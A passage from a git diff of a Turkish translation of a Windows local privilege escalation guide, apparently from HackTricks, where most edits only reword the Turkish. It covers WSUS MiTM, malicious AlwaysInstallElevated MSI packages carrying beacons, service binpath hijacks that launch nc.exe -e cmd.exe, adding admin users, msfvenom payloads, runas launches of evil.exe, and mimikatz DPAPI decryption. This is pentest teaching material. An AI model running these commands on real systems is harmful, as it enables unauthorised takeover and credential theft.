etkinlikleri belgeleyerek, süreç hakkında ayrıntılı bilgiler sağlanır. +Bir scriptin yürütülmesinin tam etkinlik ve içerik kaydı tutulur, her kod bloğunun çalıştığı sırada belgelenmesini sağlar. Bu süreç, her etkinliğin kapsamlı bir denetim izini korur, adli tıp ve kötü niyetli davranışları analiz etmek için değerlidir. Yürütme anında tüm etkinlikleri belgeleyerek, süreç hakkında ayrıntılı bilgiler sunar. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Bloğu için günlükleme olayları, Windows Olay Görüntüleyici'de şu yolda bulunabilir: **Uygulama ve Hizmet Günlükleri > Microsoft > Windows > PowerShell > Operasyonel**.\ +Script Bloğu için günlük olayları, Windows Olay Görüntüleyici'de şu yolda bulunabilir: **Uygulama ve Hizmet Günlükleri > Microsoft > Windows > PowerShell > Operasyonel**.\ Son 20 olayı görüntülemek için şunu kullanabilirsiniz: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -152,13 +152,13 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Sistem, güncellemeler http yerine http**S** kullanılarak talep edilmezse tehlikeye atılabilir. +Sistem, güncellemeler http yerine http**S** kullanılarak talep edilmediyse tehlikeye atılabilir. -Aşağıdaki komutu cmd'de çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol edebilirsiniz: +Aşağıdaki komutu cmd'de çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol edersiniz: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Aşağıdaki PowerShell'de: +PowerShell'da şu şekilde: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` @@ -176,9 +176,9 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -Ve eğer `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` veya `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` değeri `1` ise. +Ve eğer `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` veya `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` `1` değerine eşitse. -O zaman, **sömürülebilir.** Eğer son kayıt değeri 0 ise, WSUS girişi göz ardı edilecektir. +O zaman, **sömürülebilir.** Eğer son kayıt `0` değerine eşitse, o zaman WSUS girişi göz ardı edilecektir. Bu güvenlik açıklarını sömürmek için şu araçları kullanabilirsiniz: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Bunlar, SSL olmayan WSUS trafiğine 'sahte' güncellemeler enjekte etmek için MiTM silahlandırılmış sömürü scriptleridir. @@ -193,15 +193,15 @@ CTX_WSUSpect_White_Paper (1).pdf [**Tam raporu burada okuyun**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Temelde, bu hatanın sömürdüğü kusur şudur: -> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz. +> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi kesmek ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz. > -> Dahası, WSUS servisi mevcut kullanıcının ayarlarını kullandığından, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir ilk kullanımda güven mekanizması uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adı varsa, servis tarafından kabul edilecektir. +> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığından, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini kesebileceğiz. WSUS, sertifikada birinci kullanımda güven sağlama türü doğrulama uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adına sahipse, hizmet tarafından kabul edilecektir. Bu güvenlik açığını [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) aracıyla (serbest bırakıldığında) sömürebilirsiniz. ## KrbRelayUp -Windows **domain** ortamlarında belirli koşullar altında bir **yerel ayrıcalık yükseltme** güvenlik açığı bulunmaktadır. Bu koşullar, **LDAP imzasının zorunlu olmadığı,** kullanıcıların **Kaynak Tabanlı Kısıtlı Delegasyon (RBCD)** yapılandırmalarına izin veren kendi haklarına sahip olduğu ve kullanıcıların domain içinde bilgisayar oluşturma yeteneğine sahip olduğu ortamlardır. Bu **gereksinimlerin** varsayılan ayarlarla karşılandığını belirtmek önemlidir. +Windows **domain** ortamlarında belirli koşullar altında bir **yerel ayrıcalık yükseltme** güvenlik açığı bulunmaktadır. Bu koşullar, **LDAP imzasının zorunlu olmadığı,** kullanıcıların **Kaynak Tabanlı Kısıtlı Delegasyon (RBCD)** yapılandırmalarına izin veren kendi haklarına sahip olduğu ve kullanıcıların domain içinde bilgisayarlar oluşturma yeteneğine sahip olduğu ortamlardır. Bu **gereksinimlerin** varsayılan ayarlarla karşılandığını belirtmek önemlidir. **Sömürüyü** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) adresinde bulun. @@ -223,7 +223,7 @@ Eğer bir meterpreter oturumunuz varsa, bu tekniği **`exploit/windows/local/alw ### PowerUP -`Write-UserAddMSI` komutunu power-up'tan kullanarak mevcut dizinde ayrıcalıkları artırmak için bir Windows MSI ikili dosyası oluşturun. Bu script, bir kullanıcı/grup ekleme isteği yapan önceden derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimine ihtiyacınız olacak): +`Write-UserAddMSI` komutunu power-up'tan kullanarak mevcut dizinde ayrıcalıkları yükseltmek için bir Windows MSI ikili dosyası oluşturun. Bu script, bir kullanıcı/grup ekleme isteği yapan önceden derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimine ihtiyacınız olacak): ``` Write-UserAddMSI ``` @@ -237,21 +237,21 @@ Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek msi-wrapper.md {{#endref}} -### WIX ile MSI Oluşturma +### WIX ile MSI Oluştur {{#ref}} create-msi-with-wix.md {{#endref}} -### Visual Studio ile MSI Oluşturma +### Visual Studio ile MSI Oluştur - **Cobalt Strike** veya **Metasploit** ile `C:\privesc\beacon.exe` konumunda **yeni bir Windows EXE TCP yükü** oluşturun. - **Visual Studio**'yu açın, **Yeni bir proje oluştur** seçeneğini seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **İleri**ye tıklayın. - Projeye **AlwaysPrivesc** gibi bir isim verin, konum için **`C:\privesc`** kullanın, **çözümü ve projeyi aynı dizine yerleştir** seçeneğini seçin ve **Oluştur**'a tıklayın. - 4 adımın 3. adımına (dahil edilecek dosyaları seçin) gelene kadar **İleri**ye tıklamaya devam edin. **Ekle**'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından **Tamamla**'ya tıklayın. -- **Çözüm Gezgini**'nde **AlwaysPrivesc** projesini vurgulayın ve **Özellikler**'de **TargetPlatform**'ı **x86**'dan **x64**'e değiştirin. +- **Çözüm Gezgini**'nde **AlwaysPrivesc** projesini vurgulayın ve **Özellikler**'de **TargetPlatform**'u **x86**'dan **x64**'e değiştirin. - Yüklenen uygulamanın daha meşru görünmesini sağlayacak **Yazar** ve **Üretici** gibi değiştirebileceğiniz diğer özellikler de vardır. -- Projeye sağ tıklayın ve **Görüntüle > Özel Eylemler**'i seçin. +- Projeye sağ tıklayın ve **Görünüm > Özel Eylemler**'i seçin. - **Kurulum**'a sağ tıklayın ve **Özel Eylem Ekle**'yi seçin. - **Uygulama Klasörü**'ne çift tıklayın, **beacon.exe** dosyanızı seçin ve **Tamam**'a tıklayın. Bu, yükleyici çalıştırıldığında beacon yükünün hemen çalıştırılmasını sağlayacaktır. - **Özel Eylem Özellikleri** altında **Run64Bit**'i **True** olarak değiştirin. @@ -260,7 +260,7 @@ create-msi-with-wix.md ### MSI Kurulumu -Kötü niyetli `.msi` dosyasının **arka planda** **kurulumunu** çalıştırmak için: +Kötü niyetli `.msi` dosyasının **kurulumunu** **arka planda** çalıştırmak için: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` @@ -276,13 +276,13 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Olay İletimi, logların nereye gönderildiğini bilmek ilginçtir. +Windows Event Forwarding, logların nereye gönderildiğini bilmek ilginçtir. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara ACL'ler aracılığıyla erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler. +**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, bir domaine katılan bilgisayarlarda güvenli bir şekilde Active Directory içinde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara ACL'ler aracılığıyla erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler. {{#ref}} ../active-directory-methodology/laps.md @@ -290,8 +290,8 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Eğer aktifse, **düz metin şifreler LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti) içinde saklanır.\ -[**WDigest hakkında daha fazla bilgi için bu sayfaya bakın**](../stealing-credentials/credentials-protections.md#wdigest). +Eğer aktifse, **düz metin şifreler LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) içinde saklanır.\ +[**WDigest hakkında daha fazla bilgi bu sayfada**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` @@ -304,7 +304,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard**, **Windows 10**'da tanıtıldı. Amacı, bir cihazda depolanan kimlik bilgilerini pass-the-hash saldırıları gibi tehditlere karşı korumaktır. | [**Credentials Guard hakkında daha fazla bilgi burada.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard**, **Windows 10**'da tanıtıldı. Amacı, bir cihazda depolanan kimlik bilgilerini pass-the-hash saldırıları gibi tehditlere karşı korumaktır.| [**Credentials Guard hakkında daha fazla bilgi burada.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` @@ -344,8 +344,8 @@ Eğer **ayrıcalıklı bir gruba ait iseniz, ayrıcalıkları artırma imkanın ### Token manipülasyonu -**Daha fazla bilgi edinin** bir **token** nedir bu sayfada: [**Windows Tokenleri**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Aşağıdaki sayfayı kontrol edin **ilginç tokenler hakkında bilgi edinmek** ve bunları nasıl kötüye kullanabileceğinizi öğrenmek için: +Bu sayfada **token** nedir hakkında daha fazla bilgi edinin: [**Windows Tokenleri**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Aşağıdaki sayfayı kontrol ederek **ilginç tokenler** hakkında bilgi edinin ve bunları nasıl kötüye kullanabileceğinizi öğrenin: {{#ref}} privilege-escalation-abusing-tokens.md @@ -357,7 +357,7 @@ qwinsta klist sessions ``` ### Ana klasörler -```powershell +```bash dir C:\Users Get-ChildItem C:\Users ``` @@ -373,7 +373,7 @@ powershell -command "Get-Clipboard" ### Dosya ve Klasör İzinleri -Öncelikle, süreçleri listelemek **sürecin komut satırında şifreleri kontrol edin**.\ +Öncelikle, süreçleri listelemek **sürecin komut satırında parolaları kontrol edin**.\ Bazı çalışan ikili dosyaları **üzerine yazıp yazamayacağınızı** veya ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin, olası [**DLL Hijacking saldırılarını**](dll-hijacking/index.html) istismar etmek için: ```bash Tasklist /SVC #List processes running and services @@ -385,7 +385,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Her zaman [**çalışan electron/cef/chromium hata ayıklayıcılarını** kontrol edin, bunları ayrıcalıkları artırmak için kötüye kullanabilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Her zaman [**çalışan electron/cef/chromium hata ayıklayıcılarını** kontrol edin, bunları yetki yükseltmek için kötüye kullanabilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Süreçlerin ikili dosyalarının izinlerini kontrol etme** ```bash @@ -414,7 +414,7 @@ procdump.exe -accepteula -ma **SYSTEM olarak çalışan uygulamalar, bir kullanıcının CMD açmasına veya dizinleri gezmesine izin verebilir.** -Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" için arama yapın, "Komut İstemini Açmak İçin Tıklayın" seçeneğine tıklayın. +Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" için arama yapın, "Komut İstemi'ni Açmak için Tıklayın" seçeneğine tıklayın. ## Hizmetler @@ -449,7 +449,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version Eğer bu hatayı alıyorsanız (örneğin SSDPSRV ile): _Sistem hatası 1058 oluştu._\ -_Hizmet başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için._ +_Hizmet başlatılamıyor, ya devre dışı olduğu için ya da ona bağlı etkin bir cihaz olmadığı için._ Bunu etkinleştirmek için kullanabilirsiniz ```bash @@ -462,7 +462,7 @@ sc.exe config usosvc start= auto ``` ### **Servis ikili yolunu değiştir** -"Authenticated users" grubunun bir serviste **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin çalıştırılabilir ikilisinin değiştirilmesi mümkündür. **sc**'yi değiştirmek ve çalıştırmak için: +"Kimlik doğrulanmış kullanıcılar" grubunun bir serviste **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin çalıştırılabilir ikilisinin değiştirilmesi mümkündür. **sc**'yi değiştirmek ve çalıştırmak için: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -479,9 +479,9 @@ Yetkiler çeşitli izinler aracılığıyla yükseltilebilir: - **SERVICE_CHANGE_CONFIG**: Servis ikili dosyasının yeniden yapılandırılmasına izin verir. - **WRITE_DAC**: İzin yeniden yapılandırmasını etkinleştirir, bu da servis yapılandırmalarını değiştirme yeteneğine yol açar. -- **WRITE_OWNER**: Mülkiyet edinimi ve izin yeniden yapılandırmasına izin verir. -- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yeteneğini devralır. -- **GENERIC_ALL**: Ayrıca servis yapılandırmalarını değiştirme yeteneğini devralır. +- **WRITE_OWNER**: Mülk edinimi ve izin yeniden yapılandırmasına izin verir. +- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yeteneğini miras alır. +- **GENERIC_ALL**: Ayrıca servis yapılandırmalarını değiştirme yeteneğini miras alır. Bu güvenlik açığının tespiti ve istismarı için _exploit/windows/local/service_permissions_ kullanılabilir. @@ -518,26 +518,26 @@ Yürütülen ikilinin Yolunu değiştirmek için: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Hizmetler kayıt AppendData/AddSubdirectory izinleri +### Services registry AppendData/AddSubdirectory permissions -Eğer bir kayıt üzerinde bu izne sahipseniz, bu **bu kayıttan alt kayıtlar oluşturabileceğiniz anlamına gelir**. Windows hizmetleri durumunda bu **rastgele kod çalıştırmak için yeterlidir:** +Eğer bir kayıt üzerinde bu izne sahipseniz, bu **bu kayıttan alt kayıtlar oluşturabileceğiniz anlamına gelir**. Windows hizmetleri durumunda bu, **rastgele kod çalıştırmak için yeterlidir:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Alıntılanmamış Hizmet Yolları +### Unquoted Service Paths Eğer bir çalıştırılabilir dosyanın yolu tırnak içinde değilse, Windows her boşluktan önceki sonlandırmayı çalıştırmaya çalışacaktır. Örneğin, _C:\Program Files\Some Folder\Service.exe_ yolu için Windows şunları çalıştırmaya çalışacaktır: -```powershell +```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` Tüm alıntılanmamış hizmet yollarını listeleyin, yerleşik Windows hizmetlerine ait olanlar hariç: -```powershell +```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -545,7 +545,7 @@ wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Window Get-ServiceUnquoted -Verbose ``` -```powershell +```bash for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. @@ -553,22 +553,22 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ) ``` -```powershell +```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Bu güvenlik açığını tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz: +**Bu zafiyeti tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Recovery Actions -Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak tanır. Bu özellik, bir ikili dosyaya işaret edecek şekilde yapılandırılabilir. Eğer bu ikili dosya değiştirilebilir ise, ayrıcalık yükseltme mümkün olabilir. Daha fazla ayrıntı [official documentation]()'da bulunabilir. +Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak tanır. Bu özellik, bir ikili dosyaya işaret edecek şekilde yapılandırılabilir. Eğer bu ikili dosya değiştirilebilir ise, ayrıcalık yükseltme mümkün olabilir. Daha fazla ayrıntı [resmi belgede]() bulunabilir. ## Applications ### Installed Applications -**binaries**'nin **izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/index.html)). +**İkili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -579,7 +579,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Yazma İzinleri -Bazı yapılandırma dosyalarını özel bir dosyayı okumak için değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin. +Bazı özel dosyaları okumak için bir yapılandırma dosyasını değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz, kontrol edin. Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu: ```bash @@ -607,7 +607,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ### Başlangıçta Çalıştır **Farklı bir kullanıcı tarafından çalıştırılacak bazı kayıt defteri veya ikili dosyaları geçersiz kılabilir misiniz kontrol edin.**\ -**Daha fazla bilgi için** ilginç **autorun konumları hakkında** **aşağıdaki sayfayı** okuyun: +**Yetki artırımı için ilginç** **autorun konumları hakkında daha fazla bilgi edinmek için** **aşağıdaki sayfayı** **okuyun**: {{#ref}} privilege-escalation-with-autorun-binaries.md @@ -647,7 +647,7 @@ net share #Check current shares ``` ### hosts dosyası -Hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin. +Hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -684,9 +684,9 @@ Daha fazla [ağ numaralandırma komutları burada](../basic-cmd-for-pentesters.m C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` konumunda bulunabilir. +Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` içinde bulunabilir. -Eğer root kullanıcısı alırsanız, herhangi bir portta dinleme yapabilirsiniz (ilk kez `nc.exe` kullanarak bir portta dinleme yaptığınızda, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır). +Eğer root kullanıcısı alırsanız, herhangi bir portta dinleyebilirsiniz (ilk kez `nc.exe` ile bir portta dinlemeye başladığınızda, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -714,11 +714,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Kimlik bilgileri yöneticisi / Windows kasası From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Kasa, **Windows**'un kullanıcıları **otomatik olarak oturum açabileceği** sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini saklar. İlk bakışta, bu kullanıcıların Facebook kimlik bilgilerini, Twitter kimlik bilgilerini, Gmail kimlik bilgilerini vb. saklayabileceği gibi görünebilir, böylece tarayıcılar aracılığıyla otomatik olarak oturum açarlar. Ama durum böyle değil. +Windows Kasa, kullanıcı kimlik bilgilerini sunucular, web siteleri ve **Windows**'un kullanıcıları **otomatik olarak oturum açtırabildiği** diğer programlar için saklar. İlk bakışta, bu kullanıcıların Facebook kimlik bilgilerini, Twitter kimlik bilgilerini, Gmail kimlik bilgilerini vb. saklayabileceği gibi görünebilir, böylece tarayıcılar aracılığıyla otomatik olarak oturum açabilirler. Ama durum böyle değil. -Windows Kasa, Windows'un kullanıcıları otomatik olarak oturum açabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **kaynağa erişmek için kimlik bilgilerine ihtiyaç duyan Windows uygulaması** (sunucu veya web sitesi) **bu Kimlik Bilgileri Yöneticisi** ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir. +Windows Kasa, Windows'un kullanıcıları otomatik olarak oturum açtırabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **kaynağa erişmek için kimlik bilgilerine ihtiyaç duyan Windows uygulaması** (sunucu veya web sitesi) **bu Kimlik Bilgileri Yöneticisi** ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir. -Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve varsayılan depolama kasasından o kaynak için kimlik bilgilerini talep etmelidir**. +Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve o kaynak için kimlik bilgilerini varsayılan depolama kasasından talep etmelidir.** Makinedeki saklanan kimlik bilgilerini listelemek için `cmdkey` kullanın. ```bash @@ -732,7 +732,7 @@ Ardından, kaydedilmiş kimlik bilgilerini kullanmak için `runas` komutunu `/sa ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -`runas` ile sağlanan bir kimlik bilgileri seti kullanma. +`runas` komutunu sağlanan bir kimlik bilgileri seti ile kullanma. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` @@ -742,23 +742,23 @@ Not edin ki mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util **Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, entropiye önemli ölçüde katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır. -**DPAPI, kullanıcı giriş sırlarından türetilen bir simetrik anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır. +**DPAPI, kullanıcı giriş sırlarından türetilen simetrik bir anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır. -DPAPI kullanılarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier) anlamına gelir. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini belirtmek önemlidir). -```powershell +DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier) anlamına gelir. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir). +```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -**mimikatz modülünü** `dpapi::masterkey` uygun argümanlarla (`/pvk` veya `/rpc`) kullanarak bunu şifre çözmek için kullanabilirsiniz. +**mimikatz modülünü** `dpapi::masterkey` uygun argümanlarla (`/pvk` veya `/rpc`) kullanarak şifreyi çözebilirsiniz. **ana şifre ile korunan kimlik bilgisi dosyaları** genellikle şurada bulunur: -```powershell +```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden 